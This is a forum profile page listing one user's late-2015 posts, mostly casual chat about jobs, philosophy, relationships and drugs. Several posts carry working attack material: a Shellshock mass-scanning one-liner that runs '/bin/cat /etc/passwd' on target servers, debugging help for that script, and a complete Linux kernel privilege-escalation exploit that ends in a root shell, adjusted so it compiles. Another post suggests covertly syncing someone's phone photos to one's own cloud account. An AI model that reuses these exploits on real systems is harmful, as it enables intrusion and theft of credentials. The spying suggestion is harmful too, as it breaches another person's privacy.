User Controls
Posts by Lanny
-
2015-12-30 at 6:33 AM UTC in How many users are actually online Lanny?Fuck if I know. Does it matter? Look at the forums and you'll see what level of traffic there is. I think we'd all like to see it busier but most of us don't have the time. God knows I don't have the time for shitposting I used to.
-
2015-12-29 at 8:47 AM UTC in Hey Lan, why don't you get into sec related programming.
So i was checking out muh github and such and my oh my look at all those stars, https://github.com/NullArray then i thought, Lanny is objectively the better programmer and you have helped on just about each of the projects i have on github either with advice or code examples and such. Then i looked at your github and saw you had no stars at all so i felt bad and starred Yinch because i am all about charity. Point being, look at sec repos in general here the repo for commix, OS command injection tool https://github.com/stasinopoulos/commix GOT DANG 500+ stars.
Infosec programming is hot shit Lan, you should write a virus or something, then i'll promote you on muh twitter and it will be win/win because i got the scoup on a dank ass new virus and you will get lots of stars and e-cred.
Also, talk about programming, remember how i had issues with output retrieval of PyCat when i had it on a compromised server? You said because the script didn't finsih it's process within 30 seconds CGI's execution model was cramping my style. So i took that advice to heart and added a timer on the main loop.
So where initially the main loop in the scanner was:
while True:
I changed it to:
import time
try:
start = time.time()
while (time.time() - start < 15):
To solve that particular problem. <3
Glad to see you got PyCat over shellshock working.
I'm not particularly concerned about stars, I mean there is a certain values in the "prestige" a high star repo carries but I mean what's the point in trying to game that? Epeen and I guess some points with some interviewers maybe. Also most of my repos aren't library stuff (except the celery worker one which I should start back up and try to hype on HN because it's a great idea), not something other people are going to use (or at least that github users are going to use), so the only point staring it would be if you were a contributor or something.
Infosec stuff is interesting through, or at least exploits are. But then exploit discovery is kind of a tedious process, you either read a lot of source most of which will be secure or you try a lot of blind attacks and see if they work. Attack surface is what produces exploits like 90% of the time, it's comparatively rare that a genuinely novel idea rolls around. Like you find out SQLi is a thing which is cool followed by decades of people finding examples of SQLi vulnerabilities is like, good to know but in the same sense that it's good to know that a given streetlight in your city is out. You want to know that someone knows it, and someone has a pressing need to know it, but you only care in the most detached sense. And then there's opsec which is definitely important but man I just can't be fucked with most of the time, it's just feels like hoops.
There's almost definitely more to it than that, I should probably learn more about a field before dismissing it like that. It's interesting, I think I picked up that attitude ages ago. Do you know the etymology/history of the term hacker? I remember the first time I ever realized there was a culture around programming was when I read ESR's "how to become a hacker" textfile (probably copy pasted onto totse, damn...) and like one of the first things he does there is to be like "infosec people are 'crackers'* and fuck them" and that was a real attitude at the time it was written, I guess founded in the kind of persecution a lot of "hackers"(by ERS's definition) experienced as backlash to copy-paste "skiddie" thing that was feasible for a few years there.
*as far as I know it's a term that community never picked for itself
​Formula for getting lots of github stars:
1) Pick a project idea that has viral potential. It doesn't have to be some great technical feat, just something that can be easily understood by the average layman and does something useful or quirky.
2) Make a good readme. There should be some kind of demo or usage example front-and-center. I honestly like to put a gif in there of the repo in action.
3) Post it on /r/programming and hacker news.
Thank me later.
Yeah, I mean that sounds about right. But again, what do you even do with that? Fake internet points, wooo! -
2015-12-29 at 6:19 AM UTC in The retarded thread: Fuck, §m£ÂgØL made one first edition
This is what adderall did to me when I was 13
http://youtu.be/J5-tf_A1HMY
i was more amusing back then
Looks more like a lack of adderall to me -
2015-12-29 at 4:13 AM UTC in The retarded thread: Fuck, §m£ÂgØL made one first edition
Just applied for a server position at a shitty resturant. Wish to fuck this town had an IHOP, I made bank working there. Protip: if you have something cool to converse with customers about such as a clydesdale, macaw or other oddity, keep a pic in your order book. That shit earned me a lot of extra tips. Had one regular who love my clydesdale and would tip me 5$ and another 5$ for 'my baby' toget carrots. Also at the time we had a ponderosa lemon tree that produced grapefruit sized lemons. When wed get fruit Id bring them in to serve to customers and theyd be fucking wowed by these giant lemons.
Only job I ever had that involved working with "the public" was when I worked an IT help desk for a few days as a favor to a friend who usually did it. Lot of waiting on malware scanners. I was taking some 200 level philosophy course at the time and remember trying to talk to different people about stuff the class covered, I remember the problem of induction being really at the forefront of my mind. With a singular exception everyone I tried to engage was like "I don't get it" or "so what". I guess interesting is subjective but if that's the level the general public is operating at (and it's probably even worse because I was just interacting with college students) then I'm glad to be left out of it.
I mean it's probably my fault for being autistic enough to think anyone gives a shit about phil101, I'm sure they don't, but I feel like we've lost something if we're ready to play plants vs zombies or whatever in place of human conversation about subjects which, by definition, are relevant to us all. -
2015-12-28 at 2:47 AM UTC in I'm taking suggestions for threads. Pick a subject>everything
>7 choices
Do a thread on whether or not Descartes was really foundational to modern philosophy and if he dismissed transcendental idealism too easily. -
2015-12-28 at 2:24 AM UTC in Losing a love
Has anyone else gone through this before?
What, long distance relationships or still caring about someone who you decided not to do the long distance thing with? No to the former, yes to the latter. I was dating a gal when it came time for us to ship out to college. Thankfully we got accepted to exactly 0 of the same colleges, mostly because she wanted to go to the east coast and I was too poor to pay out of state tuition. We agreed not seeing anyone else for 4 years wasn't really going to happen and ended it on good terms but I was kinda bummed about it for a while, spent the summer traveling up to washington and back camping, felt like a good way to work it out. You get over it. See her again in a few years and you'll find you created an ideal image from memories that doesn't match reality, she's probably not all that.
What do you do in the interim? Tough it out I guess, or drink/smoke/snort it out of your mind. Time heals all wounds and all that. -
2015-12-28 at 2:08 AM UTC in my friend is retarded- help me explain child supportYeah, that's kinda dumb.
De facto marriage is a thing in much of the western world, which is what your friend may be thinking of. It only applies in certain states in the US and with limitations even then, if he's living in florida then yeah, nothing to worry about. In the UK and NZ it can be significant though. When I was in NZ I remember it was kind of a big deal because if you claimed common residence for N years in a row (I think it was 5) you were defacto married and could be liable for alimony on the breakup and stuff. I don't think child support was ever part of it (unless a kid was biologically related or born during the defacto marriage) but alimony was a real concern for some people. -
2015-12-27 at 4:45 AM UTC in Is there a program like...On iOS there is an API for this sort of thing but I'm not sure if there's a commercially available app that does it, I suspect not because no one would reasonably pay for it. If the chick you're giving this too is sufficiently dumb then you could just reg it to your icloud account and turn on the photo syncing thing but that's not exactly the optimal solution.
-
2015-12-27 at 12:55 AM UTC in The retarded thread: Fuck, §m£ÂgØL made one first edition
God my head hurts, I only ever seem to get hangovers on boxing day. I remember telling my mum I've met big drug dealers who have more compassion and humanity than my dad and his partner.
Huh, I actually woke up feeling pretty shitty despite taking it easy yesterday. Maybe it's a boxing day curse or some shit.
​Drinking wine which requires a corkscrew to get into is a level of class I'm not used to.
I think I posted in TRT or somewhere like the a few days after turning 21. Somehow it was the first time in my life I found myself responsible for opening a bottle of wine and I didn't have a cork screw so I googled and tried some shit with a key and a nail and stuff like that but ended up pulling half the cork out and pushing the other half into the bottle and had to drink wine with bits of cork in it. Good times.
I think I may still have a pic I took on the occasion somewhere. Oh shit I do: http://i.imgur.com/0TrTSUG.jpg?1
Good ole chuck, save my soul and take the boredom away. -
2015-12-24 at 7:37 PM UTC in Problems compiling C source code.
It's a linux specific exploit however and for a very specific kernel version at that.
This lol, spec trying to make shit up for epeen points again, when will it end? -
2015-12-23 at 5:56 AM UTC in ATTN: Auswitsch Nazi DisneylandOh, I see, the xargs flags need to be changed per my first post itt, should have noticed that when you posted the line before. So the xargs invocation looks like:
xargs -I % bash -c 'curl % -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" && echo ----END OF RESPONSE----'
without the "-I %" and "curl %" xargs will try to add the url as an additional command to bash rather than curl. You can leave this -0 out, I think -I implies it. -
2015-12-22 at 5:32 PM UTC in ATTN: Auswitsch Nazi DisneylandSo yeah, maybe "bash" isn't on your path or aliased or whatever. Try this and see if anything changes:
`cat $list | xargs -0 sh -c 'curl -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd" && echo ----END OF RESPONSE----'`
Also this is going to sound dumb but you should verify that you can run cat, xargs, sh, and echo each on their own. -
2015-12-22 at 8:25 AM UTC in The retarded thread: Fuck, §m£ÂgØL made one first editionI've found a new hobby. If I mix the right, relatively low, portions of alcohol, etizolam, and weed there's a certain class of shows that become a lot more enjoyable and that I can't ever remember watching under this combo so rewatches never feel stale. I think I'm on my fifth go through of non non biyori. Lost suddenly got good again. While concerning that an amnesia inducing drug combo lets me enjoy television more (I mean what does that say about the content in the first place?) I have to say it's pleasant.
-
2015-12-22 at 7:57 AM UTC in ATTN: Auswitsch Nazi DisneylandHmm, what are the contents of line 33? Is it the line that does `bash -c "...`? You could try using "sh" instead of "bash" which is the normal way of doing things but I usually use zsh so if I want bash proper I've got to do "bash" instead of "sh".
-
2015-12-22 at 7:26 AM UTC in Getting my life togetherI agree with the idea that animals and infants, under the appropriate circumstances, may have comparable moral statuses. If you wanted to run the thought experiment in reverse you could say that there are extreme cases of infants alive today without the potential to exceed the cognitive capacity of farm animals and I'm sure a lot of people would give brain damaged infants some level of worth (minimally no one would condone killing them for mild transient pleasures).
But I'd argue we need to bite the bullet in a different direction. Instead of trying to deny the moral capacity of animals with potential for human-like minds we should accept that killing animals with potential for human-like minds is wrong. And I'd argue that mammalian farm animals show significant signs of human-like minds in all the appropriate dimensions, specifically hedonic capacity. The answer to the dilemma presented is vegetarianism rather than infanticide. By the same maxim that killing human children below a certain age barring extenuating circumstances is impermissible so is modern animal farming. -
2015-12-22 at 6:38 AM UTC in Dear LannyLol, I've had this thread open for like 3 days being like "shit, how do I reply to that" and literally just read far enough to realize it was an eminem gag. God damnit. I was even like "I should write 'maybe Delores would go over better'."
Also I think I was like 7 or something when that song was getting radio play. -
2015-12-22 at 6:20 AM UTC in The retarded thread: Fuck, §m£ÂgØL made one first edition
Take the UCLA Loneliness Scale test: http://www.tactileint.com/portfolio/uclalone.html
The average score for college students is 20.
Scored a 17, aww yeah, take that average college student. It occurs to me that you could score very low just by "being a loner" or not having a particularly strong desire for human interaction. Not that I fit that description but if you had given me this test when I was 16 or something I would have had a similar score but have actually had a much lower level of social interaction, much more isolated, it's just whether or not you feel "starved for company" is based on your self assessment of what the appropriate level of company is
. -
2015-12-22 at 5:37 AM UTC in Getting my life together
It's not necessarily something you should feel guilty about, at least the former:
After-Birth Abortion
The pro-choice case for infanticide.
http://www.slate.com/articles/health...anticide_.html
I actually do think infanticide is acceptable in some cases but I think infanticide is a good example of why Judith Jarvis Thomson's position breaks down in the limit (her position being that a woman's autonomy over her body trumps most other moral considerations in allowing or barring abortion which I disagree with for other reasons. I'm closer to Singer's position although disagree with him as well.). Thomson's argument, I contend, sets the stage for infanticide pretty clearly even if she backs out of that particular extrapolation (I'm not sure if it was in a published paper but her position is that born infants have some kind of derived value by way of their parents, like art has value because we enjoy it or something, which is really pretty weak). At the end of her paper where she makes the famous violinist argument she contends she hasn't make an argument that all cases of abortion are permissible but it's a broad enough umbrella that (and we've seen this) it's gleefully taken up by pro-choice activists. The fact that it breaks down (or requires these stretched post-hoc explanations rather than just biting the bullet) shows, I think, why the argument is flawed in the first place. -
2015-12-21 at 10:20 AM UTC in Problems compiling C source code.I didn't try on linux proper but I was able to compile (with warnings but whatever) by adding some defines:
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#define ORIG_RAX 15
#define PTRACE_SYSCALL 24
#define PTRACE_DETACH 17
#define PTRACE_POKEUSER 6
#define PTRACE_PEEKUSER 3
#define PTRACE_TRACEME 0
#define MAP_ANONYMOUS 0x0800
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
printf("mapping at %lx\n", tmp);
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", NULL);
printf("no /bin/sh ??\n");
exit(0);
}
int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;
if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}
if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}
if (pid == -1) {
printf("fork fault\n");
exit(1);
}
for (;;) {
if (wait(&status) != pid)
continue;
if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}
if (!WIFSTOPPED(status))
continue;
if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
}
if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
return 0;
}
which I just found from googling against glibc. I don't have them because I'm trying this on OSX with clang but you should have gotten it from your includes. Your prompt says kali but you mentioned visual studio. You are trying to compile this on kali or some other linux distro right? All these constants are for linux process stuff so there's no chance of building this on a windows machine.
Anyway, try the defines (start with just the ORIG_RAX one and only add the rest if it complains about it) and let us know what it does -
2015-12-20 at 10:06 PM UTC in ATTN: Auswitsch Nazi Disneyland
Ok nigger since you're awol i did some research on all special shell characters in bash i am escaping them all and asked on stack overflow but you know how those niggers get. Anyway, new code:
`cat $list | xargs curl -H \"custom:\(\) \{ ignored; \}\; echo Content-Type: text/html\; echo \; /bin/cat /etc/passwd | printf %b \n`
This is the output from curl:
curl: (3) [globbing] unmatched brace at pos 2
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0curl: (6) Could not resolve host: ignored
100 12037 0 12037 0 0 10421 0 --:--:-- 0:00:01 --:--:-- 19254
100 5722 0 5722 0 0 6113 0 --:--:-- --:--:-- --:--:-- 8341
Also see how it's attempting to resolve the host "ignored" that's bullshit and not what i want i want xargs to pass a url as the first argument to curl, why is it not doing that?
But that's not all i get error messages as well, see the following.
$shellshocker.sh: line 32: };: command not found
$shellshocker.sh: line 32: !DOCTYPE: command not found
bby pls, i need you so much right nao ;_;
Different problem here, the escaping wasn't your problem to start with but it's causing problems here. Consider the following commands:
[lanny:~]$ echo "foobar"
foobar
[lanny:~]$ echo \"foobar\"
"foobar"
So normally your shell uses the double quote to indicate the start of a string, meaning any spaces following it are not to be treated as additional arguments so like `echo foo bar` invokes echo with two arguments while `echo "foo bar"` invokes it with one. When you escape a double quote (put a \ in front of it) it means "this is literally a backquote, it has no meaning to you (the shell)". So when you do `curl -H "custom:\(\)` you're saying invoke curl with two arguments, the second of which is literally:
[lanny:~]$ echo \"custom:\(\) | hexdump
0000000 22 63 75 73 74 6f 6d 3a 28 29 0a
000000b
so the first byte of the second argument is 0x22 or the quote character under ascii/utf-8. This causes problems because the next semi-colon is read as a special character in bash, it's says "execute the command on the left of the semicolon, and then the one on the right" a lot like "&&" does except "&&" requires the first command to exit normally, otherwise it won't run the next command.Anyway, this means your shell will try to run "curl -H "custom:\(\) \{ ignored" which may or may not be a valid invocation of curl and then it's going to try to run the "{;" command which I don't think is a thing.
